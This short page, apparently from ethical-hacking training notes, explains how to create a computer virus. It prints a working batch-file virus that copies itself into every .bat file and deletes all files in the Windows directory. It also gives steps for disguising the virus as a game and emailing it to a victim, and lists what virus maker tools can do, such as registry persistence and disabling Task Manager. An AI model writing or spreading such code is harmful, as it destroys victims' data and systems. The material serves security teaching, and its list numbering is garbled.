EC EHE - Create a Virus

 

A virus can be created in two ways: writing a virus program and using virus maker tools.

• • • •  Writing a Simple Virus Program

The following steps are involved in writing a simple virus program:

1. Create a batch file Game.bat with the following text:

@ echo off

for %%f in (*.bat) do copy %%f + Game.bat

del c:\Windows\*.*

2. Convert the Game.bat batch file into Game.com using the bat2com utility

3. Send the Game.com file as an email attachment to the victim

4. When Game.com is executed by the victim, it copies itself to all the .bat files in the current directory on the target machine and deletes all the files in the Windows directory

• • • • Using Virus Maker Tools

Virus maker tools allow you to customize and craft your virus into a single executable file. The nature of the virus depends on the options available in the virus maker tool.

Once the virus file is built and executed, it can perform the following tasks:

1. 1. 1. 1. 1. 1. 1. Disable Windows command prompt and Windows Task Manager
                  2. Shut down the system
                  3. Infect all executable files
                  4. Inject itself into the Windows registry and start up with Windows
                  5. Perform non-malicious activity such as unusual mouse and keyboard actions
